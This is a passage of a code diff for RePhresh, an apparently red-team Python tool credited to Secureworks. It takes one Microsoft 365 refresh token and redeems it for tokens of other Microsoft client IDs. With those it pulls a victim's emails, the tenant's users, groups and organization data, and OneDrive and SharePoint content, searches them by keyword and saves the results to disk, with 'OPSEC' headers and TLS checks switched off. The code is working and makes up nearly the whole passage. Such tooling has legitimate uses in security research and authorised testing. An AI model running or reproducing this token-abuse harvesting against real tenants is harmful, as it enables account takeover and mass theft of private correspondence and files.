|
||||
if type(args.search) == str:
|
||||
args.search = args.search.split(",")
|
||||
|
||||
# Create output dir before moving on
|
||||
utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S")
|
||||
output_dir = Path("output", f"{token_email}.{utc_now}")
|
||||
output_dir.mkdir(parents=True, exist_ok=True)
|
||||
logging.info(f"Output directory: {output_dir}")
|
||||
|
||||
# Create an instance of our module base
|
||||
module_state = ModuleState(
|
||||
output_dir=output_dir,
|
||||
domain=args.domain,
|
||||
tenant_id=tenant_id,
|
||||
token_email=token_email,
|
||||
refresh_token=refresh_token,
|
||||
search_keywords=args.search,
|
||||
)
|
||||
|
||||
# Get emails
|
||||
scopes = [".default"] # Default
|
||||
if any(x in args.module for x in ["emails", "all"]):
|
||||
Emails.fetch(module_state=module_state, scopes=scopes)
|
||||
|
||||
if any(x in args.module for x in ["users", "all"]):
|
||||
Users.fetch(module_state=module_state, scopes=scopes)
|
||||
|
||||
if any(x in args.module for x in ["groups", "all"]):
|
||||
Groups.fetch(module_state=module_state, scopes=scopes)
|
||||
|
||||
if any(x in args.module for x in ["organization", "all"]):
|
||||
Organization.fetch(module_state=module_state, scopes=scopes)
|
||||
|
||||
if any(x in args.module for x in ["onedrive", "all"]):
|
||||
OneDrive.fetch(module_state=module_state, scopes=scopes)
|
||||
|
||||
if any(x in args.module for x in ["sharepoint", "all"]):
|
||||
SharePoint.fetch(module_state=module_state, scopes=scopes)
|
||||
@@ -0,0 +1,18 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
# fmt: off
|
||||
|
||||
__title__ = "RePhresh"
|
||||
__version__ = "0.1.0"
|
||||
@@ -0,0 +1,61 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
import msal # type: ignore
|
||||
import logging
|
||||
import requests
|
||||
from typing import List
|
||||
from typing import Dict
|
||||
from rephresh import utils
|
||||
|
||||
|
||||
def acquire_token_by_refresh_token(
|
||||
*,
|
||||
refresh_token: str,
|
||||
client_id: str,
|
||||
scopes: List[str],
|
||||
tenant_id: str,
|
||||
) -> Dict[str, str]:
|
||||
"""Convenience function to instantiate a public client
|
||||
and attempt to acquire new tokens using a provided refresh token.
|
||||
|
||||
:param refresh_token: initial refresh token for authentication
|
||||
:param client_id: target client ID to request refresh token for
|
||||
:param scopes: list of scopes to request with refresh token
|
||||
:param tenant_id: target tenant ID to request access to
|
||||
|
||||
Via: https://github.com/secureworks/family-of-client-ids-research/blob/main/utils.py#L9
|
||||
"""
|
||||
app = msal.PublicClientApplication(
|
||||
client_id=client_id,
|
||||
authority=f"https://login.microsoftonline.com/{tenant_id}",
|
||||
)
|
||||
return app.acquire_token_by_refresh_token(refresh_token, scopes=scopes)
|
||||
|
||||
|
||||
def acquire_tenant_id(domain: str) -> str:
|
||||
"""Retrieve the domain's tenant ID via Microsft's OpenID Configuration
|
||||
|
||||
:param domain: domain name to retrieve tenant ID for
|
||||
"""
|
||||
url = f"https://login.windows.net/{domain}/.well-known/openid-configuration"
|
||||
try:
|
||||
response = requests.get(url, headers=utils.HTTP_OPSEC_HEADERS, verify=False)
|
||||
json_response = response.json()
|
||||
tenant_id = json_response["token_endpoint"].split("/")[3]
|
||||
return tenant_id
|
||||
|
||||
except requests.RequestException as e:
|
||||
logging.error(f"Error: {e}")
|
||||
return None
|
||||
@@ -0,0 +1,20 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
from rephresh.modules.emails import Emails
|
||||
from rephresh.modules.groups import Groups
|
||||
from rephresh.modules.onedrive import OneDrive
|
||||
from rephresh.modules.organization import Organization
|
||||
from rephresh.modules.sharepoint import SharePoint
|
||||
from rephresh.modules.users import Users
|
||||
@@ -0,0 +1,124 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
import logging
|
||||
from typing import Dict
|
||||
from typing import List
|
||||
from rephresh import utils
|
||||
from rephresh.modules.module import ModuleBase
|
||||
from rephresh.modules.module import ModuleState
|
||||
|
||||
|
||||
class Emails(ModuleBase):
|
||||
"""Email retrieval class"""
|
||||
|
||||
def _search_emails(
|
||||
self,
|
||||
token: Dict[str, str],
|
||||
keywords: List[str] = utils.SEARCH_KEYWORDS,
|
||||
) -> Dict[str, str]:
|
||||
"""Using the provided token, retrieve all emails for the given user
|
||||
|
||||
:param token: client specific refresh token
|
||||
:param keywords: keywords for searching
|
||||
"""
|
||||
keywords = " OR ".join(keywords) # KQL logical or
|
||||
return self.msgraph_search(
|
||||
self,
|
||||
entity=["message"],
|
||||
search=keywords,
|
||||
token=token,
|
||||
)
|
||||
|
||||
def _fetch_emails(self, token: Dict[str, str]) -> Dict[str, str]:
|
||||
"""Using the provided token, retrieve all emails for the given user
|
||||
|
||||
:param token: client specific refresh token
|
||||
"""
|
||||
return self.msgraph_fetch(
|
||||
self,
|
||||
url_path="me/messages",
|
||||
token=token,
|
||||
)
|
||||
|
||||
@classmethod
|
||||
def fetch(
|
||||
cls,
|
||||
module_state: ModuleState,
|
||||
scopes: List[str],
|
||||
):
|
||||
"""Acquire new refresh token and fetch all emails
|
||||
|
||||
:param module_state: Module State instance
|
||||
:param scopes: list of scopes to request with refresh token
|
||||
"""
|
||||
if not module_state.msoffice_refresh_token:
|
||||
logging.info("Acquiring refresh token for 'Microsoft Office'")
|
||||
new_refresh_token = cls.fetch_refresh_token(
|
||||
cls,
|
||||
module_state=module_state,
|
||||
client_name="Microsoft Office",
|
||||
scopes=scopes,
|
||||
)
|
||||
|
||||
# Update module base
|
||||
module_state.msoffice_refresh_token = new_refresh_token
|
||||
|
||||
if module_state.msoffice_refresh_token:
|
||||
logging.info("Fetching emails")
|
||||
|
||||
# Fetch emails
|
||||
emails = cls._fetch_emails(cls, token=module_state.msoffice_refresh_token)
|
||||
total_emails = len(emails["value"])
|
||||
logging.info(f" Emails: {total_emails}")
|
||||
|
||||
# If emails found, write to output file
|
||||
if total_emails > 0:
|
||||
filename = f"{module_state.token_email}.emails.json"
|
||||
logging.info(f" Output: {filename}")
|
||||
|
||||
cls.write_json(
|
||||
cls,
|
||||
filename=filename,
|
||||
output_dir=module_state.output_dir,
|
||||
data=emails,
|
||||
)
|
||||
|
||||
logging.info(f"Searching emails: {module_state.search_keywords}")
|
||||
|
||||
# Search emails for keywords
|
||||
results = cls._search_emails(
|
||||
cls,
|
||||
token=module_state.msoffice_refresh_token,
|
||||
keywords=module_state.search_keywords,
|
||||
)
|
||||
|
||||
# The response JSON scheme is broke into nested lists, so we need to traverse
|
||||
# all lists to find the 'total' results found
|
||||
total_results = sum(
|
||||
h["total"] for v in results["value"] for h in v["hitsContainers"]
|
||||
)
|
||||
logging.info(f" Results: {total_results}")
|
||||
|
||||
# If search results found, write to output file
|
||||
if total_results > 0:
|
||||
filename = f"{module_state.token_email}.searchemails.json"
|
||||
logging.info(f" Output: {filename}")
|
||||
|
||||
cls.write_json(
|
||||
cls,
|
||||
filename=filename,
|
||||
output_dir=module_state.output_dir,
|
||||
data=results,
|
||||
)
|
||||
@@ -0,0 +1,77 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
import logging
|
||||
from typing import Dict
|
||||
from typing import List
|
||||
from rephresh.modules.module import ModuleBase
|
||||
from rephresh.modules.module import ModuleState
|
||||
|
||||
|
||||
class Groups(ModuleBase):
|
||||
"""Group retrieval class"""
|
||||
|
||||
def _fetch_groups(self, token: Dict[str, str]) -> Dict[str, str]:
|
||||
"""Using the provided token, retrieve all groups accessible by the given user
|
||||
|
||||
:param token: client specific refresh token
|
||||
"""
|
||||
return self.msgraph_fetch(
|
||||
self,
|
||||
url_path="groups?$top=999",
|
||||
token=token,
|
||||
)
|
||||
|
||||
@classmethod
|
||||
def fetch(
|
||||
cls,
|
||||
module_state: ModuleState,
|
||||
scopes: List[str],
|
||||
):
|
||||
"""Acquire new refresh token and fetch all groups
|
||||
|
||||
:param module_state: Module State instance
|
||||
:param scopes: list of scopes to request with refresh token
|
||||
"""
|
||||
if not module_state.msoffice_refresh_token:
|
||||
logging.info("Acquiring refresh token for 'Microsoft Office'")
|
||||
new_refresh_token = cls.fetch_refresh_token(
|
||||
cls,
|
||||
module_state=module_state,
|
||||
client_name="Microsoft Office",
|
||||
scopes=scopes,
|
||||
)
|
||||
|
||||
# Update module base
|
||||
module_state.msoffice_refresh_token = new_refresh_token
|
||||
|
||||
if module_state.msoffice_refresh_token:
|
||||
logging.info("Fetching groups")
|
||||
|
||||
# Fetch groups
|
||||
groups = cls._fetch_groups(cls, token=module_state.msoffice_refresh_token)
|
||||
total_groups = len(groups["value"])
|
||||
logging.info(f" Groups: {total_groups}")
|
||||
|
||||
# If groups found, write to output file
|
||||
if total_groups > 0:
|
||||
filename = f"{module_state.token_email}.groups.json"
|
||||
logging.info(f" Output: {filename}")
|
||||
|
||||
cls.write_json(
|
||||
cls,
|
||||
filename=filename,
|
||||
output_dir=module_state.output_dir,
|
||||
data=groups,
|
||||
)
|
||||
@@ -0,0 +1,208 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
import json
|
||||
import logging
|
||||
import requests
|
||||
from typing import List
|
||||
from typing import Dict
|
||||
from pathlib import Path
|
||||
from rephresh import utils
|
||||
from rephresh import acquire
|
||||
|
||||
|
||||
class ModuleState:
|
||||
"""Module state class to store global data"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
output_dir: str,
|
||||
domain: str,
|
||||
tenant_id: str,
|
||||
token_email: str,
|
||||
refresh_token: str,
|
||||
search_keywords: List[str],
|
||||
):
|
||||
"""Module state initialization
|
||||
|
||||
:param output_dir: data output location
|
||||
:param domain: target domain name
|
||||
:param tenant_id: target tenant ID
|
||||
:param token_email: email address of primary refresh token
|
||||
:param refresh_token: refresh token string
|
||||
"""
|
||||
self.output_dir = output_dir
|
||||
self.domain = domain
|
||||
self.tenant_id = tenant_id
|
||||
self.token_email = token_email
|
||||
self.refresh_token = refresh_token
|
||||
self.search_keywords = search_keywords or utils.SEARCH_KEYWORDS
|
||||
|
||||
# FOCI Refresh Tokens
|
||||
self.msoffice_refresh_token = None
|
||||
self.sharepoint_refresh_token = None
|
||||
|
||||
|
||||
class ModuleBase:
|
||||
"""Module base class for shared functions"""
|
||||
|
||||
def write_json(self, filename: str, output_dir: str, data: Dict[str, str]):
|
||||
"""Write a data structure as JSON to a file on the system
|
||||
|
||||
:param filename: name of output file
|
||||
:param output_dir: output directory name
|
||||
:param data: data structure to write to system
|
||||
"""
|
||||
full_path = Path(output_dir, filename)
|
||||
try:
|
||||
with open(full_path, "w") as f:
|
||||
json.dump(data, f)
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error: {e}")
|
||||
print(json.dumps(data, indent=4))
|
||||
|
||||
def fetch_refresh_token(
|
||||
self,
|
||||
module_state: ModuleState,
|
||||
client_name: str,
|
||||
scopes: List[str],
|
||||
) -> Dict[str, str]:
|
||||
"""Retrieve a new refresh token for the specified client
|
||||
|
||||
:param module_state: ModuleState instance
|
||||
:param client_name: name of target client to fetch refresh token for
|
||||
:param scopes: list of scopes to request with refresh token
|
||||
"""
|
||||
client_id = utils.TARGET_CLIENT_IDS[client_name]
|
||||
|
||||
new_refresh_token = acquire.acquire_token_by_refresh_token(
|
||||
refresh_token=module_state.refresh_token,
|
||||
client_id=client_id,
|
||||
scopes=scopes,
|
||||
tenant_id=module_state.tenant_id,
|
||||
)
|
||||
|
||||
if "error" in new_refresh_token.keys():
|
||||
logging.error(f'Invalid response for refresh token: {new_refresh_token["error_description"]}') # fmt: skip
|
||||
return None
|
||||
|
||||
return new_refresh_token
|
||||
|
||||
def msgraph_fetch(
|
||||
self,
|
||||
url_path: str,
|
||||
token=Dict[str, str],
|
||||
limit: int = 10,
|
||||
) -> Dict[str, str]:
|
||||
"""Fetch data from Microsoft Graph
|
||||
|
||||
:param url_path: API path
|
||||
:param token: client specific refresh token
|
||||
:param limit: max number of page fetches
|
||||
"""
|
||||
headers = utils.HTTP_OPSEC_HEADERS
|
||||
headers["Authorization"] = f'Bearer {token["access_token"]}' # type: ignore
|
||||
|
||||
# Define our initial URL
|
||||
url = f"https://graph.microsoft.com/v1.0/{url_path}"
|
||||
|
||||
# Rebuild the search response JSON scheme
|
||||
# Exclude @odata.nextLink - only use this to get the next page
|
||||
results = {"@odata.context": None, "value": []}
|
||||
|
||||
count = 0
|
||||
try:
|
||||
# Continue to loop while there is more data/until we hit our request limit
|
||||
while url and count <= limit:
|
||||
count += 1
|
||||
response = requests.get(
|
||||
url=url,
|
||||
headers=headers,
|
||||
verify=False,
|
||||
)
|
||||
|
||||
# Get JSON response
|
||||
json_response = response.json()
|
||||
|
||||
# Check for errors
|
||||
if "error" in json_response:
|
||||
logging.error(f'Error: {json_response["error"]["message"]}')
|
||||
break
|
||||
|
||||
# Get the context (only on first request)
|
||||
if not results["@odata.context"]:
|
||||
results["@odata.context"] = json_response.get("@odata.context", None) # fmt: skip
|
||||
|
||||
# Get the values returned and append to results
|
||||
value = json_response.get("value", None)
|
||||
if value:
|
||||
results["value"] += value
|
||||
|
||||
# Get the next URL if more results
|
||||
url = json_response.get("@odata.nextLink", None)
|
||||
if url:
|
||||
logging.debug(f"Requesting next page...")
|
||||
|
||||
return results
|
||||
|
||||
except requests.RequestException as e:
|
||||
logging.error(f"Error: {e}")
|
||||
return results
|
||||
|
||||
def msgraph_search(
|
||||
self,
|
||||
entity: List[str],
|
||||
search: str,
|
||||
token=Dict[str, str],
|
||||
) -> Dict[str, str]:
|
||||
"""Search data via Microsoft Graph Search
|
||||
|
||||
:param entity: entity to search
|
||||
:param search: search term
|
||||
:param token: client specific refresh token
|
||||
"""
|
||||
headers = utils.HTTP_OPSEC_HEADERS
|
||||
headers["Authorization"] = f'Bearer {token["access_token"]}' # type: ignore
|
||||
headers["content-type"] = "application/json"
|
||||
|
||||
json = {
|
||||
"requests": [
|
||||
{
|
||||
"entityTypes": entity,
|
||||
"query": {
|
||||
"queryString": search,
|
||||
},
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
try:
|
||||
response = requests.post(
|
||||
url=f"https://graph.microsoft.com/v1.0/search/query",
|
||||
json=json,
|
||||
headers=headers,
|
||||
verify=False,
|
||||
)
|
||||
|
||||
json_response = response.json()
|
||||
if "error" in json_response:
|
||||
logging.error(f'Error: {json_response["error"]["message"]}')
|
||||
return None
|
||||
|
||||
return json_response
|
||||
|
||||
except requests.RequestException as e:
|
||||
logging.error(f"Error: {e}")
|
||||
return None
|
||||
@@ -0,0 +1,124 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
import logging
|
||||
from typing import Dict
|
||||
from typing import List
|
||||
from rephresh import utils
|
||||
from rephresh.modules.module import ModuleBase
|
||||
from rephresh.modules.module import ModuleState
|
||||
|
||||
|
||||
class OneDrive(ModuleBase):
|
||||
"""OneDrive drive search/retrieval class"""
|
||||
|
||||
def _search_drives(
|
||||
self,
|
||||
token: Dict[str, str],
|
||||
keywords: List[str] = utils.SEARCH_KEYWORDS,
|
||||
) -> Dict[str, str]:
|
||||
"""Using the provided token, search OneDrive drives by name accessible
|
||||
by the given user
|
||||
|
||||
For the time being, we are using the `search` path for /drive/ instead of the
|
||||
/search/query API
|
||||
|
||||
:param token: client specific refresh token
|
||||
:param keywords: keywords for searching
|
||||
"""
|
||||
keywords = " OR ".join(keywords) # KQL logical or
|
||||
return self.msgraph_fetch(
|
||||
self,
|
||||
url_path=f"me/drive/search(q='{keywords}')",
|
||||
token=token,
|
||||
)
|
||||
|
||||
def _fetch_drives(self, token: Dict[str, str]) -> Dict[str, str]:
|
||||
"""Using the provided token, list OneDrive drives accessible by the given user
|
||||
|
||||
:param token: client specific refresh token
|
||||
"""
|
||||
return self.msgraph_fetch(
|
||||
self,
|
||||
url_path="me/drives",
|
||||
token=token,
|
||||
)
|
||||
|
||||
@classmethod
|
||||
def fetch(
|
||||
cls,
|
||||
module_state: ModuleState,
|
||||
scopes: List[str],
|
||||
):
|
||||
"""Acquire new refresh token and access OneDrive
|
||||
|
||||
:param module_state: Module State instance
|
||||
:param scopes: list of scopes to request with refresh token
|
||||
"""
|
||||
if not module_state.msoffice_refresh_token:
|
||||
logging.info("Acquiring refresh token for 'Microsoft Office'")
|
||||
new_refresh_token = cls.fetch_refresh_token(
|
||||
cls,
|
||||
module_state=module_state,
|
||||
client_name="Microsoft Office",
|
||||
scopes=scopes,
|
||||
)
|
||||
|
||||
# Update module base
|
||||
module_state.msoffice_refresh_token = new_refresh_token
|
||||
|
||||
if module_state.msoffice_refresh_token:
|
||||
logging.info("Fetching OneDrive drives")
|
||||
|
||||
# Fetch drives
|
||||
drives = cls._fetch_drives(cls, token=module_state.msoffice_refresh_token)
|
||||
total_drives = len(drives["value"])
|
||||
logging.info(f' Drives: {total_drives}')
|
||||
|
||||
# If drives found, write to output file
|
||||
if total_drives > 0:
|
||||
filename = f"{module_state.token_email}.drives.json"
|
||||
logging.info(f" Output: {filename}")
|
||||
|
||||
cls.write_json(
|
||||
cls,
|
||||
filename=filename,
|
||||
output_dir=module_state.output_dir,
|
||||
data=drives,
|
||||
)
|
||||
|
||||
# Specifically search file names across drives (different from the /search/query
|
||||
# API)
|
||||
logging.info(f"Searching OneDrive files (by name): {module_state.search_keywords}") # fmt: skip
|
||||
|
||||
# Search drive files for keywords
|
||||
results = cls._search_drives(
|
||||
cls,
|
||||
token=module_state.msoffice_refresh_token,
|
||||
keywords=module_state.search_keywords,
|
||||
)
|
||||
total_results = len(results["value"])
|
||||
logging.info(f' Files: {total_results}')
|
||||
|
||||
# If search results found, write to output file
|
||||
if total_results > 0:
|
||||
filename = f"{module_state.token_email}.searchdrives.json"
|
||||
logging.info(f" Output: {filename}")
|
||||
|
||||
cls.write_json(
|
||||
cls,
|
||||
filename=filename,
|
||||
output_dir=module_state.output_dir,
|
||||
data=results,
|
||||
)
|
||||
@@ -0,0 +1,77 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
import logging
|
||||
from typing import Dict
|
||||
from typing import List
|
||||
from rephresh.modules.module import ModuleBase
|
||||
from rephresh.modules.module import ModuleState
|
||||
|
||||
|
||||
class Organization(ModuleBase):
|
||||
"""Organization retrieval class"""
|
||||
|
||||
def _fetch_organization(self, token: Dict[str, str]) -> Dict[str, str]:
|
||||
"""Using the provided token, retrieve the given users Organization
|
||||
|
||||
:param token: client specific refresh token
|
||||
"""
|
||||
return self.msgraph_fetch(
|
||||
self,
|
||||
url_path="organization",
|
||||
token=token,
|
||||
)
|
||||
|
||||
@classmethod
|
||||
def fetch(
|
||||
cls,
|
||||
module_state: ModuleState,
|
||||
scopes: List[str],
|
||||
):
|
||||
"""Acquire new refresh token and fetch users Oraganization
|
||||
|
||||
:param module_state: Module State instance
|
||||
:param scopes: list of scopes to request with refresh token
|
||||
"""
|
||||
if not module_state.msoffice_refresh_token:
|
||||
logging.info("Acquiring refresh token for 'Microsoft Office'")
|
||||
new_refresh_token = cls.fetch_refresh_token(
|
||||
cls,
|
||||
module_state=module_state,
|
||||
client_name="Microsoft Office",
|
||||
scopes=scopes,
|
||||
)
|
||||
|
||||
# Update module base
|
||||
module_state.msoffice_refresh_token = new_refresh_token
|
||||
|
||||
if module_state.msoffice_refresh_token:
|
||||
logging.info("Fetching organizations")
|
||||
|
||||
# Fetch all orgs
|
||||
orgs = cls._fetch_organization(cls, token=module_state.msoffice_refresh_token) # fmt: skip
|
||||
total_orgs = len(orgs["value"])
|
||||
logging.info(f" Organizations: {total_orgs}")
|
||||
|
||||
# If orgs found, write to output file
|
||||
if total_orgs > 0:
|
||||
filename = f"{module_state.token_email}.organizations.json"
|
||||
logging.info(f" Output: {filename}")
|
||||
|
||||
cls.write_json(
|
||||
cls,
|
||||
filename=filename,
|
||||
output_dir=module_state.output_dir,
|
||||
data=orgs,
|
||||
)
|
||||
@@ -0,0 +1,98 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
import logging
|
||||
from typing import Dict
|
||||
from typing import List
|
||||
from rephresh import utils
|
||||
from rephresh.modules.module import ModuleBase
|
||||
from rephresh.modules.module import ModuleState
|
||||
|
||||
|
||||
class SharePoint(ModuleBase):
|
||||
"""SharePoint drive search/retrieval class"""
|
||||
|
||||
def _search_drives(
|
||||
self,
|
||||
token: Dict[str, str],
|
||||
keywords: List[str] = utils.SEARCH_KEYWORDS,
|
||||
) -> Dict[str, str]:
|
||||
"""Using the provided token, search SharePoint accessible by the given user
|
||||
https://docs.microsoft.com/en-us/graph/search-concept-files
|
||||
|
||||
:param token: client specific refresh token
|
||||
:param keywords: keywords for searching
|
||||
"""
|
||||
keywords = " OR ".join(keywords) # KQL logical or
|
||||
return self.msgraph_search(
|
||||
self,
|
||||
entity=["driveItem", "listItem", "list"],
|
||||
search=keywords,
|
||||
token=token,
|
||||
)
|
||||
|
||||
@classmethod
|
||||
def fetch(
|
||||
cls,
|
||||
module_state: ModuleState,
|
||||
scopes: List[str],
|
||||
):
|
||||
"""Acquire new refresh token and access OneDrive
|
||||
|
||||
:param module_state: Module State instance
|
||||
:param scopes: list of scopes to request with refresh token
|
||||
"""
|
||||
# Use the SharePoint client ID to acquire a new refresh token as the default scope
|
||||
# for this client includes the correct permissions for List and ListItem:
|
||||
# ["Sites.Read.All", "Sites.ReadWrite.All"]
|
||||
if not module_state.sharepoint_refresh_token:
|
||||
logging.info("Acquiring refresh token for 'SharePoint'")
|
||||
new_refresh_token = cls.fetch_refresh_token(
|
||||
cls,
|
||||
module_state=module_state,
|
||||
client_name="SharePoint",
|
||||
scopes=scopes,
|
||||
)
|
||||
|
||||
# Update module base
|
||||
module_state.sharepoint_refresh_token = new_refresh_token
|
||||
|
||||
if module_state.sharepoint_refresh_token:
|
||||
logging.info(f"Searching SharePoint and OneDrive contents: {module_state.search_keywords}") # fmt: skip
|
||||
|
||||
# Search OneDrive and SharePoint contents for keywords
|
||||
results = cls._search_drives(
|
||||
cls,
|
||||
token=module_state.sharepoint_refresh_token,
|
||||
keywords=module_state.search_keywords,
|
||||
)
|
||||
|
||||
# The response JSON scheme is broke into nested lists, so we need to traverse
|
||||
# all lists to find the 'total' results found
|
||||
total_results = sum(
|
||||
h["total"] for v in results["value"] for h in v["hitsContainers"]
|
||||
)
|
||||
logging.info(f" Results: {total_results}")
|
||||
|
||||
# If search results found, write to output file
|
||||
if total_results > 0:
|
||||
filename = f"{module_state.token_email}.search.json"
|
||||
logging.info(f" Output: {filename}")
|
||||
|
||||
cls.write_json(
|
||||
cls,
|
||||
filename=filename,
|
||||
output_dir=module_state.output_dir,
|
||||
data=results,
|
||||
)
|
||||
@@ -0,0 +1,77 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
import logging
|
||||
from typing import Dict
|
||||
from typing import List
|
||||
from rephresh.modules.module import ModuleBase
|
||||
from rephresh.modules.module import ModuleState
|
||||
|
||||
|
||||
class Users(ModuleBase):
|
||||
"""User retrieval class"""
|
||||
|
||||
def _fetch_users(self, token: Dict[str, str]) -> Dict[str, str]:
|
||||
"""Using the provided token, retrieve all users accessible by the given user
|
||||
|
||||
:param token: client specific refresh token
|
||||
"""
|
||||
return self.msgraph_fetch(
|
||||
self,
|
||||
url_path="users",
|
||||
token=token,
|
||||
)
|
||||
|
||||
@classmethod
|
||||
def fetch(
|
||||
cls,
|
||||
module_state: ModuleState,
|
||||
scopes: List[str],
|
||||
):
|
||||
"""Acquire new refresh token and fetch all users
|
||||
|
||||
:param module_state: Module State instance
|
||||
:param scopes: list of scopes to request with refresh token
|
||||
"""
|
||||
if not module_state.msoffice_refresh_token:
|
||||
logging.info("Acquiring refresh token for 'Microsoft Office'")
|
||||
new_refresh_token = cls.fetch_refresh_token(
|
||||
cls,
|
||||
module_state=module_state,
|
||||
client_name="Microsoft Office",
|
||||
scopes=scopes,
|
||||
)
|
||||
|
||||
# Update module base
|
||||
module_state.msoffice_refresh_token = new_refresh_token
|
||||
|
||||
if module_state.msoffice_refresh_token:
|
||||
logging.info("Fetching users")
|
||||
|
||||
# Fetch users
|
||||
users = cls._fetch_users(cls, token=module_state.msoffice_refresh_token)
|
||||
total_users = len(users["value"])
|
||||
logging.info(f" Users: {total_users}")
|
||||
|
||||
# If users found, write to output file
|
||||
if total_users > 0:
|
||||
filename = f"{module_state.token_email}.users.json"
|
||||
logging.info(f" Output: {filename}")
|
||||
|
||||
cls.write_json(
|
||||
cls,
|
||||
filename=filename,
|
||||
output_dir=module_state.output_dir,
|
||||
data=users,
|
||||
)
|
||||
@@ -0,0 +1,106 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
